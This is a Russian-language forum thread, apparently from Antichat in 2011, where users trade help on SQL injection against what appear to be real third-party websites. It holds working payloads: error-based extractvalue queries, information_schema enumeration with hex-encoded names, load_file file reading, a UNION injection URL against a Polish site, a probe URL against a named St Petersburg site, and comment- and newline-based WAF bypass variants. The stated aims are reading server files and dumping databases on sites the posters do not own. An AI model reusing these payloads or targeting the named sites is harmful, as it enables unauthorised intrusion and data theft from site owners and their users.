 |
|

20.09.2011, 13:11
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами:
8982831
Репутация:
37
|
|
Сообщение от er9j6@
Я на 100% не уверен, если mq=on, залить шелл не удастся
Все правильно, с mq не зальешь шелл через скулю, но ты можешь читать файлы через load_file(HEX)
|
|
|

20.09.2011, 13:54
|
|
Постоянный
Регистрация: 30.08.2010
Сообщений: 327
С нами:
8263766
Репутация:
11
|
|
есть вопрос:
собственно найти путь на сайте,всё перепробовал сайт на Windows NT
знаю,что только mysql установлен в C:\Program Files\MySQL\MySQL Server 5.1\ и могу прочитать C:\Program Files\MySQL\MySQL Server 5.1\my.ini
как ещё можно узнать где лежит дира с самим сайтом?
|
|
|

20.09.2011, 14:07
|
|
Новичок
Регистрация: 20.09.2011
Сообщений: 1
С нами:
7707926
Репутация:
0
|
|
есть ли уязвимость в это коде (perl) :
if ( $section eq "view_file" ) {
check_user();
$file = $q->param('id');
my $statement = 'SELECT nid,filename, file FROM files WHERE id = ?';
$sth = $dbh->prepare($statement) or die print "Couldn't prepare statement: $DBI::errstr; stopped";
$sth->execute($file) or die print "Couldn't execute statement: $DBI::errstr; stopped";
while ( my $ref = $sth->fetchrow_hashref() ) { $nid = $ref->{'nid'}; $name = $ref->{'filename'}; $filename = $ref->{'file'}; }
$statemente = 'SELECT notes.call FROM notes WHERE id = ?';
$sth = $dbh->prepare($statemente) or die "Couldn't prepare statement: $DBI::errstr; stopped";
$sth->execute($nid) or die "Couldn't execute statement: $DBI::errstr; stopped";
while ( my $ref = $sth->fetchrow_hashref() ) {
$call = $ref->{'call'};
}
$statement = 'SELECT username FROM calls WHERE id = ?';
$sth = $dbh->prepare($statement) or die "Couldn't prepare statement: $DBI::errstr; stopped";
$sth->execute($call) or die "Couldn't execute statement: $DBI::errstr; stopped";
while ( my $ref = $sth->fetchrow_hashref() ) {
die_nice("Sorry you do not have access to this file") if $ref->{'username'} ne "$Cookies{'id'}";
}
print qq~Content-Disposition: attachment; filename="$name"\n~;
print "Content-Type: application/octet-stream\n\n";
if ( defined $file && $file ne "" ) {
open( LOCAL, ") {
print;
}
close(LOCAL);
}
}
все время открывается сам файл с ошибкой внутри в строке while () {
|
|
|

20.09.2011, 14:20
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 0
С нами:
10992741
Репутация:
0
|
|
Сообщение от Faaax
попробуй jos_users занести в кавычки или в hex переведи
Первым делом, так и сделал, но результат не оправдал ожидания. Вопрос остаётся актуальным!
|
|
|

20.09.2011, 14:32
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
С нами:
8866466
Репутация:
564
|
|
Сообщение от Faaax
есть вопрос:
собственно найти путь на сайте,всё перепробовал сайт на Windows NT
знаю,что только mysql установлен в C:\Program Files\MySQL\MySQL Server 5.1\ и могу прочитать C:\Program Files\MySQL\MySQL Server 5.1\my.ini
как ещё можно узнать где лежит дира с самим сайтом?
поищи php.ini (тут где то была тема с путями для брута)
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|

20.09.2011, 15:28
|
|
Новичок
Регистрация: 17.09.2011
Сообщений: 2
С нами:
7712246
Репутация:
0
|
|
Как определить название БД, к которым относятся найденные таблицы?
Т.е название таблицы есть (в моём случае user), но если в запросе указать просто "from user", то вываливается ошибка Table doesn't exist.
Запрос ' and extractvalue(rand(),concat(0x3a,version(),0x3a,dat abase()))-- 1 выводит неверное название БД.
MySQL 5.1.56, если что.
|
|
|

20.09.2011, 15:52
|
|
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами:
7921046
Репутация:
53
|
|
Сообщение от Systematis
Как определить название БД, к которым относятся найденные таблицы?
Т.е название таблицы есть (в моём случае user), но если в запросе указать просто "from user", то вываливается ошибка Table doesn't exist.
Запрос ' and extractvalue(rand(),concat(0x3a,version(),0x3a,dat abase()))-- 1 выводит неверное название БД.
MySQL 5.1.56, если что.
select group_concat(table_schema) from information_schema.tables where table_name='user'
если magic_quotes=on(экранирование спец символов), то надо перевести user в hex и писать table_name=0x75736572 вместо table_name='user'
Через запятую вывалит названия баз не больше первых 1кб(т.е. если баз дофига, то group_concat может вернуть не все).
Или на примере верхних двух постов
|
|
|

21.09.2011, 16:02
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 80
С нами:
8718197
Репутация:
11
|
|
Подскажите, как крутить MS Access http://www.kzr.spb.ru/news-temp.asp?id=-1' ?
|
|
|

21.09.2011, 19:20
|
|
Новичок
Регистрация: 09.09.2011
Сообщений: 12
С нами:
7723766
Репутация:
1
|
|
Друззя, снова я. Сразу к делу:
Код:
http://site.pl/humor.php?id=17%20and%201=0%00union select group_concat(@@version),2,3,4,5,6,7,8,9,0 --
Вот до чего приблизительно дошел, но проблема в том, что union блочится в какой-то момент, и нам по-польски предлагают пойти куда подальше. Как видите, null byte пробовал, ничего. Чем еще можно попробовать?
upd: То есть, если в адресе есть union или ";", редирект на отдельную страничку с угрозами скорой расправы.
|
|
|

21.09.2011, 20:38
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
Сообщение от rad_scorp
Друззя, снова я. Сразу к делу:
Код:
http://site.pl/humor.php?id=17%20and%201=0%00union select group_concat(@@version),2,3,4,5,6,7,8,9,0 --
Вот до чего приблизительно дошел, но проблема в том, что union блочится в какой-то момент, и нам по-польски предлагают пойти куда подальше. Как видите, null byte пробовал, ничего. Чем еще можно попробовать?
upd: То есть, если в адресе есть union или ";", редирект на отдельную страничку с угрозами скорой расправы.
Это WAF.
Узнай что именно попадает под WAF, UNION или же UNION SELECT или же что-то еще.
И пробуй обойти, способов много.
Погугли на тему WAF Bypass, так же от Ефтеева есть презентация с некоторыми способами обхода WAF.
Как варианты попробуй:
Сообщение от None
17+and+1=0+/*!union select*/ group_concat(@@version),2,3,4,5,6,7,8,9,0--+
Сообщение от None
17+and+1=0+/*!union*/ select group_concat(@@version),2,3,4,5,6,7,8,9,0--+
Сообщение от None
17+and+1=0%0aunion%0aselect%0agroup_concat(@@versi on),2,3,4,5,6,7,8,9,0--+
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)
|
|
|
|